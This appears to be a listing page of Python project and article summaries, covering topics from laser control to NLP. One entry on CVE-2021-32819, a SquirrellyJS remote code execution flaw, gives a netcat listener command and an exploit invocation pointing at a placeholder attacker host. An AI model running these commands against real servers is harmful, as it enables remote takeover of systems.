Thermal Control of Laser Powder Bed Fusion using Deep Reinforcement Learning

ThermalControlLPBF-DRL Code implementation of the paper “Thermal Control of Laser Powder Bed Fusion using Deep Reinforcement Learning”. This repository is the implementation of the paper “Thermal Control of Laser Powder Bed Fusion Using Deep Reinforcement Learning”, linked here. The project makes use of the Deep Reinforcement Library stable-baselines3 to derive a control policy that maximizes melt pool depth consistency. Simulation Framework The Repeated Usage of Stored Line Solutions (RUSLS) method proposed by Wolfer et al. is used to simulate the […]

Read more

An open-source & highly performing timer using only standard-libraries

Python Repeated Timer Python-Repeated-Timer is an open-source & highly performing timer using only standard-libraries. Users may change the interval and duration of the event as they wish. This code is GUI freezing issue won’t be happening, and performance of the timer won’t be affected by any event. Features: Python Repeated Timer is a open-source library based on Thread Timer, and this asynchronously triggers the event every N seconds. For this only uses python standard-library, no additional library is required. Easy […]

Read more

Instant Fuzzy File Search for Alfred with python

alfred-fzf Instant Fuzzy File Search for Alfred List all the files inside a folder using fd, and instantly fuzzy-search through all of them using fzf, all from inside Alfred with a single keyword: fzf. Screenshots Invoke with fzf Search through tens of thousands of files Fuzzy search shows most relevant results There’s a folder action too! Search even inside apps Manually create folder-specific keywords Alternative and comparison Fuzzy Folders is another fuzzy search workflow that is moreconfigurable and customizable. Instant […]

Read more

Recreation of HexGame in Pygame

Hex with Pygame Recreation of HexGame in Pygame. Whats is Hex ? Historical point of view Hex as been created in 1942 by a Danish mathematician named Piet Hein. The first commercialization of this game is in 1952. With time, some strategies to win have been seeking. Thus, techniques have been found to consistently win on a 7×7 and 9×9 Board. More recently, in 2019, Facebook succeeds in beating the best player of Hex on a 19×19 board. What Are […]

Read more

Why and how to use BERT for NLP Text Classification?

This article was published as a part of the Data Science Blogathon Introduction NLP or Natural Language Processing is an exponentially growing field. In the “new normal” imposed by covid19, a significant proportion of educational material, news, discussions happen through digital media platforms. This provides more text data available to work upon! Originally, simple RNNS (Recurrent Neural Networks) were used for training text data. But in recent years there have been many new research publications that provide state-of-the-art results. One of […]

Read more

Part 12: Step by Step Guide to Master NLP – Grammar in NLP

This article was published as a part of the Data Science Blogathon Introduction This article is part of an ongoing blog series on Natural Language Processing (NLP). In the previous article, we discussed some basic concepts related to syntactic analysis. In that article, we covered concepts such as parsing, parse trees, and parsers, etc. But we not discussed the concept of grammar in that article. So, In continuation to that article, we will complete a Syntactic analysis in this article. So, […]

Read more

Measuring memory usage in Python: it’s tricky!

If you want your program to use less memory, you will need to measure memory usage. You’ll want to measure the current usage, and then you’ll need to ensure it’s using less memory once you make some improvements. It turns out, however, that measuring memory usage isn’t as straightforward as you’d think. Even with a highly simplified model of how memory works, different measurements are useful in different situations. In this article you’ll learn: A simplified but informative model of […]

Read more

SquirrellyJS mixes pure template data with engine configuration options through the Express render API

CVE-2021-32819 CVE-2021-32819 : SquirrellyJS mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options, remote code execution may be triggered in downstream applications. Source https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/ Analysis https://blog.diefunction.io/vulnerabilities/ghsl-2021-023 squirrelly v8.0.0 >= v8.0.8 Remote Code Execution Environment Ubuntu 20.04.1 Example nc -lvp 443 python3 exploit.py http://example.com/ ATTACKER_HOST 443 GitHub https://github.com/Abady0x1/CVE-2021-32819    

Read more

Exploratory data analysis and build powerful data and viz tools using Python

Panel-Chemistry The purpose of the panel-chemistry project is to make it really easy for you to do exploratory data analysis and build powerful data and viz tools within the domain of Chemistry using Python and HoloViz Panel. Check out the panel-chemistry examples on Binder Jupyter Notebook Jupyter Labs Panel Apps 🏁 Background This project is just starting (2021-05-19) and not much more than an idea. It was started by the discussion How to display JSME molecular editor with Panel? in […]

Read more
1 601 602 603 604 605 928